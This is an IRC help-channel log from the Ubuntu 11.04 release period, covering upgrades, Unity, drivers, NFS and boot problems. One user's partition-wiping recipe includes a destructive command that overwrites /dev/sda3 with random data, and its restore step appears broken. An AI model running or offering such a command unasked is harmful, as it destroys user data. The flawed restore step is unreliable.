[04:15] <multipass> sebsebseb, yeah i am, i tried using unity for a few hours.. hmm
[04:15] <ohsix> multipass: gnome is still there, it's 99.99% of what ubuntu is, unity is 0.001%, a plugin for a window manager, compiz; and you can pick the classic session from the login screen
[04:15] <ohsix> Herbs: that elaboration was for you, i didn't need to justify suggesting it
[04:15] <usr13> afroman: Let's say you create a gziped image of the drive, you can delete the partitions, write zeros to it a bunch of times, write the image back onto the drive.
[04:15] <dasy2k1> soreau:  just add the old applets you want, indicator applet rather than indicator applet complete
[04:16] <soreau> dasy2k1: arand: ok
[04:16] <multipass> i dont think the "file menu bar" should be at the top for every window, very inconvenient imo
[04:16] <lsheeba> guys any1 ,  i downloaded the torrent alternate i386 file , i dont have cd's , can i still upgrade from this file i have
[04:16] <kyle___> does anyone know?
[04:16] <ChogyDan> lsheeba: yeah
[04:16] <lsheeba> ChogyDan, how?!
[04:16] <xsinick> I think there needs to be and Ubuntu  12 pronto this is begining to look like a big epic fail for the first time in it's history
[04:16] <shane4ubuntu> Ok, I'm starting to learn Unity, I found there are many indicators that can be added up in the corner, how do I add them?
[04:16] <Strav> I can't believe how much nerd rage a left sided docker can bring.
[04:16] <ohsix> multipass: versions for review had been available for a very long time before the release; any particular reason why you are reporting your issues with the decisions made now, and on a help channel?
[04:16] <Herbs> ohsix why not if we carry on in this way we will be more insucure than windows
[04:16] <afroman> usr13: I get that. but can U just write zeros on JUST The free space?
[04:16] <dasy2k1> lsheeba:  if you have a working install of ubuntu i would just use update manager
[04:17] <Herbs> yeah install this from the rwepos box owened
[04:17] <lsheeba> dasy2k1, but my internet is slow
[04:17] <ohsix> Herbs: sure why not, it's not as if ppa's aren't signed by the uploader like any other pakcage
[04:17] <ChogyDan> lsheeba: https://help.ubuntu.com/community/MaverickUpgrades#Upgrading Using the Alternate CD/DVD
[04:17] <kyle___> ok ill rephrase, is there a bug with the latest install cd's mainly that they dont work, ive tried them on 3 different pc's and they wont boot, kinda makes me worried to upgrade over the net, can anyone confirm this?
[04:17] <multipass> ohsix, well i was excited about it, and i just dont know if i could ever use it now that ive seen it
[04:17] <shane4ubuntu> This page discusses the indicators, but doesn't seem to explain how to add them to the 'notification area?"
[04:17] <shane4ubuntu> http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/
[04:17] <stbain1> lsheeba, if you do that... make sure you have everything backed up. Update manager bricked both of my computers. Have the CD downloaded and burnt in case you have to re-install from scratch.
[04:17] <dasy2k1> kyle___: install cd (64 bit) workd fine for me
[04:17] <Strav> anyways... anyone can boot the amd images?
[04:17] <Herbs> yur not targeting Linux usesrs though but windows migraters
[04:18] <Strav> dasy2k1: you used the amd64 images?
[04:18] <fezzik02> I can't boot the AMD image :(
[04:18] <ohsix> multipass: that's unfortunate, now that natty has shipped they're working on oneiric though; if you want to try and get your input taken as part of it's development, now's the time to start doing it :D
[04:18] <kyle___> i cant boot any image
[04:18] <lsheeba> ChogyDan, thanks i didnt read it carefuly before :D about wasting cd's :D
[04:18] <mordof> Strav: amd images? how would i tell if i've done that? i upgraded from 10.10
[04:18] <bittyx-laptop> dasy2k1: hey, after i've logged in again, i'm in unity now, and the mouse started working. thanks again for the quick tip!
[04:18] <Ash-catchem> ubuntu keeps freezing/crashing...any ideas why????
[04:18] <izinucs> ohsix: what's oneiric?
[04:18] <xsinick> look  you can hide feature  and focus on others make optons for things in the new  interface but don't just throw them away
[04:18] <mordof> Strav: i booted the live cd amd image..
[04:19] <arand> kyle___: Many have used them succesfully, I'm not sure of a general issue with that no.
[04:19] <dasy2k1> Ash-catchem:  try running memtest, random crashes are often caused by bad ram
[04:19] <lsheeba> stbain1, i upgraded it online , and then canceled about 1/4 of the way
[04:19] <sebsebseb> shane4ubuntu: ok
[04:19] <mordof> Strav: didn't install from it though, i ran the live from it
[04:19] <ohsix> stbain1: generally you have to have a lot of user changes for it to break; user changes you should undo before you upgrade, next time come around i'll tell you how to fix it, rather than just telling people to be careful since you had a bad experience
[04:19] <sebsebseb> shane4ubuntu: ok by the looks of it, that's for Ubuntu Classic Desktop not Unity
[04:19] <sebsebseb> shane4ubuntu: and it does say how to install using the ppa's
[04:19] <ohsix> izinucs: the next release code name
[04:19] <Spaz_Dynamic> for running jar archives (example: minecraft) what should I get? openjdk, or gcj?
[04:19] <Ash-catchem> dasy2k1: i did the ramtest and it was fine
[04:19] <xsinick> why does blender span into the other workspaces  on windowed mode?
[04:19] <izinucs> ohsix: AH.. didn't know that
[04:19] <ohsix> Spaz_Dynamic: openjdk
[04:19] <stbain1> ohsix, just about everything on both of my systems was default
[04:19] <ncg> sorry for the disconnection thing , so my problem was this error appeared when i rebooted  >> init : playmouth main process (61) killed by SEGV signal
[04:19] <JoshuaYoshua> cyas
[04:19] <xsinick> I switch to classic and it's the same nonsense
[04:20] <multipass> ohsix, reguardless, i like some of the additions to ubuntu 11.04 =) mainly iphone support
[04:20] <Spaz_Dynamic> ohsix: Alright, thanks.
[04:20] <ohsix> stbain1: i'll take your word for it; like i said, next time, i don't know the circumstances for when it broke for you
[04:20] <lsheeba> stbain1, if it bricked like u say , atleast can i boot my windows7 , and do it from their later ?
[04:20] <usr13> afroman: There's no other way I know of.  But for just one partition, you could make an image of it and then write zeros to just that partition and then restore the image of that one partition.
[04:20] <shane4ubuntu> sebsebseb: but it seems to indicate that those come with 11.04, and reading the article I thought it was unity.
[04:20] <sebsebseb> shane4ubuntu: also really what they are telling you, that you can install, is a load of junk
[04:20] <Strav> mordof: ok, well I too upgraded from 10.10 (arch: amd64, e350 apu actually) and grub is gone and the screen gets no signal while the boot sequence is checking out the battery (I'm on a desktop so this too is kinda strange). You read anything about something similar... I'm actually browsing launchpad to find something relevant.
[04:20] <afroman> usr13: thx
[04:20] <mordof> shane4ubuntu: yeah, those are with unity
[04:20] <ohsix> multipass: you probably just want to use the classic session instead of unity then, pick it on the login screen
[04:20] <mordof> shane4ubuntu: i was reading that also
[04:20] <stbain1> lsheeba, yes, if you have Grub running already, you should be able to fall back to that
[04:20] <usr13> afroman: Let's say it is sda3
[04:21] <sebsebseb> stbain1: well the shut down on top right, and envelope is also in Unity, but that's in classic by default, and what is mentioned there, none of that comes with 11.04
[04:21] <sebsebseb> shane4ubuntu: ^
[04:21] <shane4ubuntu> mordof: I think I figured it out, you need to install them, I searched for indicator, and was able to look at them, however have to reboot in order to activate them.
[04:21] <multipass> ohsix, yeah already set to default.. maybe ill try unity again sometime.. kinda felt weird without a window manager
[04:21] <robin0800> shane4ubuntu, double click to start them one off or add to the startup applications
[04:21] <ChogyDan> lsheeba: just make sure not to delete the ubuntu partition if you are using grub
[04:21] <Fandekasp> hi
[04:21] <izinucs> Strav: in the last 6 years I've learned to have a separate /home and simply "install" from cd, usb whatever to the root instead of upgrading..
[04:21] <mordof> Strav: hmm, nah nothing like that happened to me. grub failed, but i reinstalled it
[04:21] <sebsebseb> shane4ubuntu: there's loads of junk you can add to Ubuntu, and that site useually tells people about it
[04:21] <shane4ubuntu> robin0800: ahh, startup menu
[04:22] <superproxy> how long does it take for the installation of natty  to finnish
[04:22] <Herbs> listen the harsh lesson is if you installed 112.04 then if its buggy tough shite dont install non LFS
[04:22] <sebsebseb> superproxy: depends on the computer, should be about 20  minutes to half an hour on most
[04:22] <Fandekasp> I tried to configure the 3d desktop for ubuntu 11.04, and it broke some display settings. and now ... after restarting, everything is hidden, i can't see any menu bar any more.  the only thing I see is the background image ... and I can do ctrl+alt+mouse to switch between empty desktops ... Do you know what should I do to put back the previous settings ? I can open a shell with ctrl+alt+f1
[04:22] <shane4ubuntu> sebsebseb: it is for unity the first paragraph explains the doing away with the Application Panel indicators, and the new entry of indicators.
[04:22] <izinucs> superproxy: clean system fresh install?  about 30 minutes or so.. then you do all the upgrades in one shot
[04:22] <lsheeba> ChogyDan, :< now u pulling my socks , should i upgrade or not lol , i wanted gnome3 but i heard its unstabled at this point , and Gnome4 will be the future of Gnome and not 3
[04:22] <superproxy> mine is stuck at  saving installed packages
[04:22] <ohsix> superproxy: a long time, depends on the computer & internet connection; mine took like 2 hours but i had lots of packages installed
[04:22] <mordof> superproxy: it took about an hour and a half on my computer
[04:23] <multipass> ohsix, i had a opengl game going in unity and it didnt have a top bar to drag it around, and there was no icon to signify it was even open
[04:23] <mordof> yeah i had 1500 packages to install, lol
[04:23] <Strav> izinucs: I always make a seperate partition for my /home, and last time I tried the ubuntu beta2 image, it failed on grub install
[04:23] <ohsix> superproxy: oh installation, nevermind me, that was much faster
[04:23] <sebsebseb> superproxy: well run the commands they give, and it should add to Unity or Ubuntu Classic I guess
[04:23] <Strav> I'll boot from usb and see if I first can fix grub
[04:23] <GI_Jack> seriously why does 11.04 take forever to damn boot
[04:23] <izinucs> Strav: did you have multiple HD's in the machine?
[04:23] <ChogyDan> lsheeba: only install gnome3 on a testing install, or in a vm
[04:23] <freeman_> can someone recommend me a package for unraring rar files
[04:23] <sebsebseb> Herbs: heh in a way
[04:23] <stbain1> freeman_, try unrar
[04:23] <ohsix> GI_Jack: install bootchart and see; i didn't notice any change, if anything it's slightly faster
[04:23] <Strav> izinucs: nope, just one ssd
[04:24] <usr13> afroman: dd if=/dev/sda3 | ssh $user@$host 'gzip - > /pub/image.gz'  #To make a gziped image of the partiton onto another PC on your LAN.  And then:   dd if=/dev/urandom of=/dev/sda3  And then:  gzip -d image.gz | dd of=/dev/sda3  (where the image is on some usb drive or copied to another partition)
[04:24] <ACameron> Hey all.  In the middle of upgrading from 10.10 -> 11.04; got told to consider submitting a bug report about monodoc-base failing to install.  Where do I report this bug?
[04:24] <mordof> freeman_: there's a rar pack in the repos that adds to the main compressing untilitiy
[04:24] <izinucs> Strav: oh well.. you fixed it though.. that's good.
[04:24] <xsinick> freeman_:  just go to the software center and install  rar
[04:24] <ohsix> ACameron: launchpad.net
[04:24] <freeman_> i look for rar in software center and its not there
[04:24] <ACameron> ohsix: thanks.
[04:24] <freeman_> unrar is there but id like to make rar files too
[04:24] <xsinick> freeman_:  next time to right click on a file it would give option to unrar
[04:24] <superproxy> the progress bar isn't moving :(, how do I check if my cd is allright?
[04:24] <izinucs> freeman_: look for 7zip .. I think that does it too.
[04:24] <mordof> freeman_: rar is in there
[04:24] <checkers> hi, virtualbox seamless mode doesn't display properly with the new ubuntu UI. Has anyone else run into this and found a solution?
[04:25] <lsheeba> dasy2k1, ChogyDan , stbain1 , and all whos helping , Thanks all =) and i know for a fact , i trust mysystem more with linux then using a mac os x when i have no idea what is running in the background
[04:25] <ohsix> freeman_: rar is nonfree, you need to enable the universe repos; i don't know if software-center does that, or looks there
[04:25] <stbain1> lsheeba, you're welcome
[04:25] <Strav> izinucs: if you're talking about grub, nope it isn't fixed... I'll chroot into my failed 11.04 to see if I can fix anything
[04:25] <ohsix> mordof: only if you enable the extra repos
[04:25] <xsinick> freeman_:  Ubuntu 11.04 may have buugs and not work as well as 10.10
[04:25] <izinucs> checkers: you're not running dual monitors are you?
[04:25] <mordof> oooh
[04:25] <mordof> ohsix: i forgot i did that xD
[04:25] <ivzel> hallo! i had download alternate cd of Natty, but when try to upgrade, system goes to internet anyway. what can i do?
[04:25] <freeman_> xsinick, the bugs are the fun part :>
[04:25] <Herbs> forget rar use gzip
[04:25] <izinucs> Strav: I feel for you..
[04:25] <mordof> checkers: trying it now
[04:25] <Chilaquiles> is anyone here that knows how to make nautilus to look like file finder from Mac OS x?
[04:26] <ohsix> i've typed a small novel in here today, gonna go do something else
[04:26] <mordof> checkers: seemless mode works fine for me
[04:26] <xsinick> freeman_: I was being a d**k when I typed that
[04:26] <GI_Jack> fuck natty
[04:26] <mordof> checkers: although it makes the unity bar hide forever, lol
[04:26] <freeman_> xsinick, its ok :)
[04:26] <ohsix> Chilaquiles: that would be nice :D i doubt spacebar and stuff would work the same, i like th emulticolumn mode
[04:26] <xsinick> GI_Jack:  yes
[04:26] <freeman_> i think im going to try 7zip
[04:26] <ohsix> GI_Jack: #ubuntu-offtopic, if you have a help question please ask
[04:26] <usr13> ohsix: YOu should cosider publishing your work.
[04:26] <thanos> arand, thanks you!
[04:26] <afroman> usr13: thx
[04:26] <Chilaquiles> ohsix I have seen some pictures
[04:26] <freeman_> thanks everyone for the continued help :D
[04:26] <Chilaquiles> ohsix: I have seen some pictures
[04:26] <rgoytacaz> Any had any luck with Nvidia Drivers for ubuntu 11.04?
[04:26] <xsinick> but GI_Jack is right guys it nonsense
[04:27] <GI_Jack> ohsix: why does the new version of udev choke on my sata controller
[04:27] <arand> thanos: Were you able to get to the old files?
[04:27] <mordof> rgoytacaz: apparently mine are working.. i don't know
[04:27] <thanos> arand, with new kernel i can see my files
[04:27] <GI_Jack> and/or the kernel for that matter
[04:27] <arand> thanos: Excellent =)
[04:27] <fruitwerks-web> anyone have experience with nfs?
[04:27] <thanos> arand, :` )
[04:27] <usr13> afroman: NP. And sorry, but I know of no real simple solution.  I was hoping someone that knew some easier way would step in but... no such luck.  There may be no other easy way.
[04:27] <GI_Jack> GTK3 can blow me, but we get firefox 4 which is pretty cool
[04:27] <rgoytacaz> Any had any luck with Nvidia Drivers for ubuntu 11.04?
[04:27] <xsinick> rgoytacaz:  yes I have it all working
[04:27] <arand> thanos: Then hurry up and copy them to a safe backup ;)
[04:27] <rgoytacaz> xsinick: whats your card?
[04:27] <izinucs> rgoytacaz: sure.. but not the ones downloaded from nvidia.. the ones offered via ubuntu are up to date and work
[04:27] <checkers> izinucs: i am running dual monitors
[04:28] <mordof> rgoytacaz: it tells me that they're installed but inactive in the additional drivers, but my nvidia x server settings tool works
[04:28] <GI_Jack> I am running a GTX 480 in 11.04
[04:28] <Herbs> <fruitwerks-web> I do
[04:28] <thanos> arand, sorry for my english i m greek
[04:28] <GI_Jack> so far its working
[04:28] <ncg> any help please ?!!!
[04:28] <ohsix> GI_Jack: does it? what sata controller? (btw, this would be udev's rules scripts and possibly kernel changes, only coincidentally ubuntu changes because it includes both)
[04:28] <Kage> ok, I am having major issues with Natty on this new laptop of mine.  Its a HP-G42, anyone know of issues with this model?
[04:28] <izinucs> checkers: that might be part of the problem.. you have to go to settings before loading the VM and let it know you have 2 monitors.. otherwise you have issues
[04:28] <arand> thanos: No problem at all, I barely noticed :)
[04:28] <GI_Jack> ohsix: lemme check
[04:28] <xsinick> GeFOrce GTS 250
[04:28] <freeman_> i right clicked and it let me install rar package, lol that was easy
[04:28] <rgoytacaz> izinucs: mordof xsinick: I got a vostro 3300 with a 310M and its saying activate but not in use, can remove reports an error.
[04:29] <ohsix> GI_Jack: and gtk3 is just deprecation and cleanup of things, and they're rolling some libraries that were almost always used together into gtk where appropriate; otherwise it is unremarkable, same thing happened with gtk2
[04:29] <xsinick> rgoy
[04:29] <mordof> rgoytacaz: saying the same thing to me.. and my desktop performance is sluggish, so i'm not sure what's happening with mine
[04:29] <ncg> ??
[04:29] <izinucs> rgoytacaz: did you reboot?
[04:29] <xsinick> rgoytacaz:  you have to restart
[04:29] <thanos> arand, i ll back up and i ll do clear install in ext4
[04:29] <yuskhanzab> hello all. how to ping ubuntu server using terminal?
[04:29] <checkers> izinucs: I have done that. I mean my 2 monitor seamless was working in 10.10, but after the upgrade one display is missing in seamless and the other is incorrectly placed on the screen
[04:29] <somethinginteres> friend complaining that Unity is slow, how can use Unity 2D to make it faster?
[04:30] <rgoytacaz> izinucs: yea, it error'd out during installation i could check , looking at the install logs
[04:30] <Chilaquiles> is there any way to reset nautilus top bars, now I can't make show the icons bar on the top, like computer icon, back icon etc.
[04:30] <ivzel> somebody can help me with this damned upgrade to natty? i can't upgrade it offline (of course, with alternate-CD)
[04:30] <xsinick> rgoytacaz:  shit narwhal told me that seem crap all it means to say is restart to activate the drivers
[04:30] <izinucs> checkers: you using the vbox version from the repos or direct from vbox?
[04:30] <rgoytacaz> going to restart
[04:30] <rgoytacaz> brb
[04:30] <yuskhanzab> hello, any oneknow how to ping ubuntu server using terminal command?
[04:31] <izinucs> yuskhanzab: ping <server address>
[04:31] <ncg> hello, any help please ???
[04:31] <usr13> yuskhanzab: sure
[04:31] <GI_Jack> OK, my sata controller is a ATI technologies SB7x0 8x0,etc....
[04:31] <freeman_> yuskhanzab, do you know the address
[04:31] <xsinick> ok anger simmering down
[04:31] <fruitwerks-web> Herbs: ubuntu nfs server and windows client? I'm like minutes away from ditching gentoo, nfs in ubuntu has not been good at all, right now it will mount, let me see eveything, but I can't read some files and I can't write to any and nothing has changed config wise- I have rebooted the ubuntu machine and the windows machine... thought I had it working normally nd then I go take a shower and I can't do anything on the share
[04:31] <xsinick> feeling a  bit better
[04:31] <fruitwerks-web> *ditching to gentoo
[04:31] <yuskhanzab> i dont know, its ubuntu server.. im now upgrading my ubuntu version. and its to slow right now
[04:32] <Kage> I guess Ill wait and see if it does anything <.<
[04:32] <yuskhanzab> what is ubuntu server address?
[04:32] <ivzel> anybody can help me?
[04:32] <Kage> maybe a first boot issue?
[04:32] <cdg> I don't know if I like this unity desktop
[04:32] <freeman_> yuskhanzab, maybe try getting it from a different mirror
[04:32] <usr13> yuskhanzab: Pinging it will not make it any faster.  It is a traffic problem.
[04:32] <ohsix> fruitwerks-web: go :]
[04:32] <xsinick> fruitwerks-web:  I heard good things about gentoo
[04:32] <izinucs> ivzel: just ask a question.. don't wait
[04:32] <Wickedspawn> Why is OSS4 not supported? It worked fine in 10.10, at least for me...
[04:32] <freeman_> cdg, you need to customize it. try turning off auto hide on your dock. i seem to like that better
[04:32] <yuskhanzab> im uprgading using the upgrade manager
[04:33] <ivzel> izinucs: a can't upgrade to Natty from CD without internet.
[04:33] <usr13> yuskhanzab: It's just going to be slow right now because this is right after 11.04 release.
[04:33] <yuskhanzab> this download start last night.. until now not been complete
[04:33] <fruitwerks-web> I used gentoo for like 10 years... and gave ubuntu a shot so I could spare this atom machine from the compiles... if anyone can fix the nfs issue, I'll probably keep using ubuntu
[04:33] <izinucs> ivzel: with the alternate cd you should be able to.
[04:33] <ohsix> Wickedspawn: OSS4 is a junk, that's why
[04:33] <freeman_> yuskhanzab, i left mine on while i went to class and it was done when i got back (2 or so hours)
[04:34] <xsinick> Devs better send an update soon else this going down as the sh**test Linux distro for 2011
[04:34] <fruitwerks-web> OSS is crap - always has been
[04:34] <ohsix> Wickedspawn: (i lie, that's probably not why, but you'd rather fix what works right and is free)
[04:34] <GI_Jack> I don't like this new scroll tab thingy either, how do I get rid of it
[04:34] <usr13> fruitwerks-web: What is wrong with your nfs shares?
[04:34] <ivzel> izinucs: i use alternate-cd. but it anyway wants internet. may be something with my config?
[04:34] <ohsix> GI_Jack: if you find out let me know, it was clunky when first installed but it got better much faster
[04:34] <cdg> freeman_: how do you turn off auto-hide?
[04:34] <ACameron> anybody else had issues with the monodoc-base package during the upgrade, yet?
[04:34] <izinucs> ivzel: no idea.. sorry
[04:34] <freeman_> cdg, install compiz manager
[04:35] <ohsix> GI_Jack: it's overlay-scrollbar, i don't think you can remove the package, but there's a conf file you can turn it off or something i'm sure
[04:35] <yuskhanzab> ive been download last night(16 hours now) also not been complete yet =.=
[04:35] <gogeta> death to unity
[04:35] <gogeta> lol
[04:35] <ivzel> izinucs: thanks!
[04:35] <fruitwerks-web> usr13: other than having to reboot my ubuntu server every3-7 days because nfs stops working and restarting the service does not help, right now I can't do anything but get a directory listing
[04:35] <ACameron> it looks like there are a bunch of bugs about it in Launchpad
[04:35] <stbain1> OK, I almost have my desktop restored.... seems to be hung on the "Restoring previously installed packages" part
[04:35] <izinucs> ivzel: your welcom
[04:35] <Wickedspawn> ohsix: It isn't crap. Deadbeef + OSS4 + Foobar2000's home theater eq setting makes my sound system sound way better than Alsa does.
[04:35] <yuskhanzab> it say's about 2 days more to complete
[04:35] <stbain1> Anyone know if I can kill that restoration process?
[04:35] <freeman_> cdg, in terminal type ccsm and it should tell you how to install
[04:35] <hanasaki> any reason why a maverick based "do-release-upgrade" would say no new release found?
[04:36] <yuskhanzab> is it save if i cancel the upgrading proses?
[04:36] <freeman_> cdg, i am still trying to get it to dock on the bottom... the setting is there but it fails to show up
[04:36] <xsinick> gonna go back to unity  and see If I can force my self to be a 20 year old I pad user the twitters
[04:36] <ohsix> Wickedspawn: i hesitate to say you are full of crap, but you are certainly deluding yourself; and i bet you haven't even objectively measured, you just think your statement is well supported
[04:36] <xsinick> that*
[04:36] <usr13> fruitwerks-web: paste your /etc/exports file and the /etc/fstab file on the client and let's have a look.
[04:36] <checkers> izinucs: from virtualbox themselves
[04:37] <mickster04> hanasaki: you have it set to lts only
[04:37] <yuskhanzab> is it safe if i cancel the upgrading proses?
[04:37] <freeman_> cdg, thanks to ohsix for helping me get this originally :)
[04:37] <hanasaki> mickster04:  where do I cahnge that
[04:37] <freeman_> credit where credit is due
[04:37] <pomke> Hello, I am running natty and have installed gnome3 from ppa, I'm confused about how to change my gtk/wm theme, I've tried the regular tool (right click nautilus desktop > change desktop background > theme tab) but this has no effect. I've then installed gnome-tweak-tool but it only shows one theme 'raleigh' even though I have installed more themes with apt
[04:37] <fruitwerks-web> usr13: client is windows, worked great in xp, and just as good in 7, I have had the same configs for years
[04:38] <Wickedspawn> ohsix: I've used Alsa with the same sound system for ~1.5 years. After I went through the process of switching to OSS4, I did notice a great improvement. Just because OSS3 was crap doesn't mean all of it is crap... "One person's garbage is another person's treasure."
[04:38] <ohsix> pomke: you'll have to talk to whoever supports those packages, ubuntu proper doesn't
[04:38] <izinucs> pomke: it's done on the login page.. click your user name and look at the bar at the bottom that appears.. that's where you change the wM
[04:38] <yuskhanzab> freeman_, is it safe to cancel the upgrading proses?
[04:38] <Robert__> hey im new to ubuntu any one want to help?
[04:38] <Kage> When I boot natty I get a blank screen, I think I have ruled out a X server issue, but maybe not
[04:38] <pomke> izinucs: Thank you :)
[04:38] <topramen> hey i have a 11.04 question
[04:38] <izinucs> Robert__: just ask a question.. if someone knows the answer they will
[04:39] <mickster04> hanasaki: go to synaptic>settings
[04:39] <kellnola> topramen, I have an answer
[04:39] <hanasaki> mickster04: it's a server.. no gui.. I did find it in the etc dir.. thanks
[04:39] <ohsix> Wickedspawn: did you measure a great improvement? you are making a statement common to fans of OSS(4) and it's never supported by more than a gut feeling, there are ways to measure things however
[04:39] <freeman_> yuskhanzab, i dont think so... are you updating the kernel?
[04:39] <topramen> kellnola, yay
[04:39] <hanasaki> mickster04:  what does no candidate for.... mean?
[04:39] <kellnola> topramen, "I don't know" :)
[04:39] <stbain1> upgrade hung... safe to kill the apt-clone restore-new-distro part of ubiquity to see if that frees it up?
[04:39] <yuskhanzab> no, im upgrade my ubuntu version to naty from maverick
[04:40] <freeman_> stbain1, dont kill it yet, mine took a while to update
[04:40] <ohsix> Wickedspawn: it's interesting you went out of your way to mention oss3 too, very interesting
[04:40] <mickster04> hanasaki: 0.o no idea, where do you see that?
[04:40] <Robert__> ok how do i find out what version i am running because i tried to install 11.04 but idk if it worked
[04:40] <kellnola> what is ubuntu going to do after zany zebra?
[04:40] <stbain1> freeman_, how long? Mine's been hung for about 15 minutes now if not longer.
[04:40] <ouyes> what happened when you suspend your laptop?
[04:40] <yuskhanzab> the download process to about 2 days to complete
[04:40] <freeman_> stbain1, i was playing call of duty for about 2 maps and it was still updating
[04:40] <topramen> kellnola, do i have to still go through terminal to install programs?
[04:40] <stbain1> freeman_, wow... that long, eh?
[04:40] <Wickedspawn> ohsix: I'm just wondering why the warning was placed on the Wiki. Used to be that you could use any setup you want with it. I didn't expect being flamed for liking it.
[04:40] <Scarra3> I don't know if I should go with the x64 or the x86 version of ubuntu
[04:40] <ohsix> kellnola: make something up! you saw the early release names right? they weren't always alphabetical, it was just a fun thing to do
[04:40] <freeman_> stbain1, search and destroy not tdm
[04:40] <yuskhanzab> 10kb per sec
[04:40] <kellnola> topramen, no ... I assume it still has synaptic or ubuntu software center
[04:41] <lumbert> Is it possible to have ubuntu 11.04 64bit and 32bit and gparted all on one usb stick?
[04:41] <ohsix> Wickedspawn: since you've stated you merely like it, i apologize, as long as it's not presented as fact
[04:41] <freeman_> stbain1, sorry not update, it was fresh install
[04:41] <ACameron> hey gang, I'm doing the update through the X gui; where do I grep for errors?
[04:41] <ACameron> would it be on dmesg..?
[04:41] <octillion> Robert__ in a terminal, lsb_release -a
[04:41] <usr13> fruitwerks-web: How about samba?
[04:41] <fruitwerks-web> I was waiting for that
[04:41] <yuskhanzab> freeman_, im upgrading the ubuntu version to natty
[04:41] <ohsix> Wickedspawn: but it is definitely contraindicated, if there is a problem with alsa or one of the drivers it will need to be fixed anyways; people in general aren't going to switch over to oss4 even assuming it was bug free and always better than alsa
[04:42] <usr13> !samba | fruitwerks-web
[04:42] <ubottu> fruitwerks-web: Samba is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and https://help.ubuntu.com/10.04/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT.
[04:42] <ohsix> Wickedspawn: alsa is in tree and supported by free software developers interested in fixing bugs they know about, and quite quickly i might add
[04:42] <freeman_> yuskhanzab, if you backed up your information im sure its ok to cancel. if not give it a few more minutes
[04:43] <Robert__> ok it says im still on 10.04 so how do i get 11.04 because i tryed to get it from the site and it didnt work
[04:43] <freeman_> Robert__, if you were on the new version you would know it :P
[04:43] <Jordan_U> !upgrade | Robert__
[04:43] <ubottu> Robert__: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[04:43] <xsinick> freeman_:  got your graphics card to work
[04:43] <xsinick> ?
[04:43] <ohsix> Wickedspawn: it's really no different though, you were on your own before when you used it, now you're just a little bit more on your own
[04:43] <yuskhanzab> freeman_, its not a few minute to complete, it about 2 days.(10kbps)
[04:44] <izinucs> Robert__: 10.04 is an LTS release .. 11.04 isn't .. you can't upgrade directly unless you reinstall.. if you choose to reinstall then I hope you have a separate /home partiton with all your data so it will be safe..
[04:44] <freeman_> xsinick, yes i am pretty sure. i have the nvidia control panel up and it recognizes my card
[04:44] <xsinick> freeman_:  nice
[04:44] <freeman_> yuskhanzab, sorry im out of answers.. try asking it again and see if you get any nibbles
[04:44] <Jordan_U> Robert__: While izinucs is correct that you can't upgrade directly from 10.04 to 11.04 you can upgrade to 10.10 then to 11.04.
[04:44] <ACameron> I'll be doing another report this term and it's not even an official co-op term
[04:45] <ACameron> done six already
[04:45] <ACameron> mischan; sorry =X
[04:45] <yuskhanzab> lol, thanks anyway
[04:45] <freeman_> xsinick, do you remember the command to check.. you grep some file
[04:45] <kellnola> Jordan_U, well in this case it may be better to just blow it away with the cd.
[04:45] <fezzik02> km0201: Reinstalled GRUB2, still no boot
[04:45] <kellnola> Jordan_U, I dist-upgraded since feisty all the way to lucid and I missed all kinds of new crap
[04:46] <xsinick> freeman_:  nope I'm no super user
[04:46] <KM0201> fezzik02: i dunno man...
[04:46] <Jordan_U> fezzik02: What happens when you try to boot? How did you try to re-install grub?
[04:46] <kellnola> Jordan_U, and then with 10.10 I'm like, what is all this upstart crap?
[04:46] <freeman_> xsinick, the true test will be if my computer games will run like they did in gnome
[04:46] <fezzik02> But to be explicit, it starts the kernel, it just fails to start x
[04:46] <fruitwerks-web> I'm gonna be cool about this.. I refrained from posting a nice long line that would have had me perma-banned, something is wrong with nfs on ubuntu, look around, you will find posts going back to 2007 with these issues, I'm going back to gentoo so my stuff will work and I don't have to reboot to fix something
[04:46] <kellnola> fruitwerks-web, nfs3 or 4?
[04:47] <usr13> fezzik02: So what screen are you left with?
[04:47] <xsinick> freeman_:  you got dual screens?
[04:47] <fezzik02> jordan_u: I did judt reinstall grub, I think it is having issues with X
[04:47] <kellnola> I never had probs with nfs3 against solaris or RHEL
[04:47] <fezzik02> usr13: The blank screen after GRUB2 selection
[04:47] <izinucs> fruitwerks-web: sudo service smbd restart .. sudo service nmbd restart should do it.
[04:47] <KM0201> fezzik02: so how the heck is it starting your kernel, and grub not working?
[04:47] <freeman_> xsinick, no but i have one stored somewhere. i was thinking of getting it out but im lazy
[04:47] <ohsix> fruitwerks-web: can you elaborate?
[04:47] <xsinick> ANYONE got dual screens?
[04:47] <KM0201> fezzik02: so the grub install went fine, you have some other issue.
[04:47] <freeman_> maybe after finals
[04:47] <Icallitvera> where can i as questions about the KGpg plugin, mine is not working
[04:47] <fezzik02> km0201: I didn't say GRUB2 isn't working, it takes me to the Recovery Console just fine.
[04:47] <KM0201> xsinick: i do.
[04:47] <usr13> fezzik02: Are you sure it's booting?  How do you know?
[04:47] <Jordan_U> !anyone | xsinick
[04:47] <ubottu> xsinick: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[04:47] <izinucs> xsinick: yes.. but not on natty yet..
[04:47] <ohsix> fruitwerks-web: do you mean nfs or cifs or something, people have been giving you suggestions for samba
[04:47] <fruitwerks-web> .. my pont I didn't post, those are cifs services
[04:47] <KM0201> ..
[04:47] <stbain1> crap... still no wirelesws
[04:48] <fruitwerks-web> enjoy your new release all... I'm *GONE*
[04:48] <KM0201> stbain1: whats your device?
[04:48] <fezzik02> usr13: I'm not sure, but the Recovery Console option works (2nd line in the GRUB2 Menu)
[04:48] <usr13> stbain1: What is your wifi device?
[04:48] <stbain1> broadcom 4311 (STA)
[04:48] <usr13> fezzik02: When you do the normal boot, what does it do?
[04:48] <xsinick> KM0201: can you test blender  windowed on Natty?
[04:48] <gogeta> Icallitvera: kubuntu
[04:48] <teddyroosebelt> ya broadcom firm is broke on 11.4
[04:49] <histo> stbain1: you need the firmware for that card. In the hardware drivers app
[04:49] <ohsix> stbain1: you are the second person today having trouble with the 4311, did it freeze your computer when you weren't using the sta driver?
[04:49] <kellnola> ohsix, why would anyone use samba in a unix environment if windows is not involved?
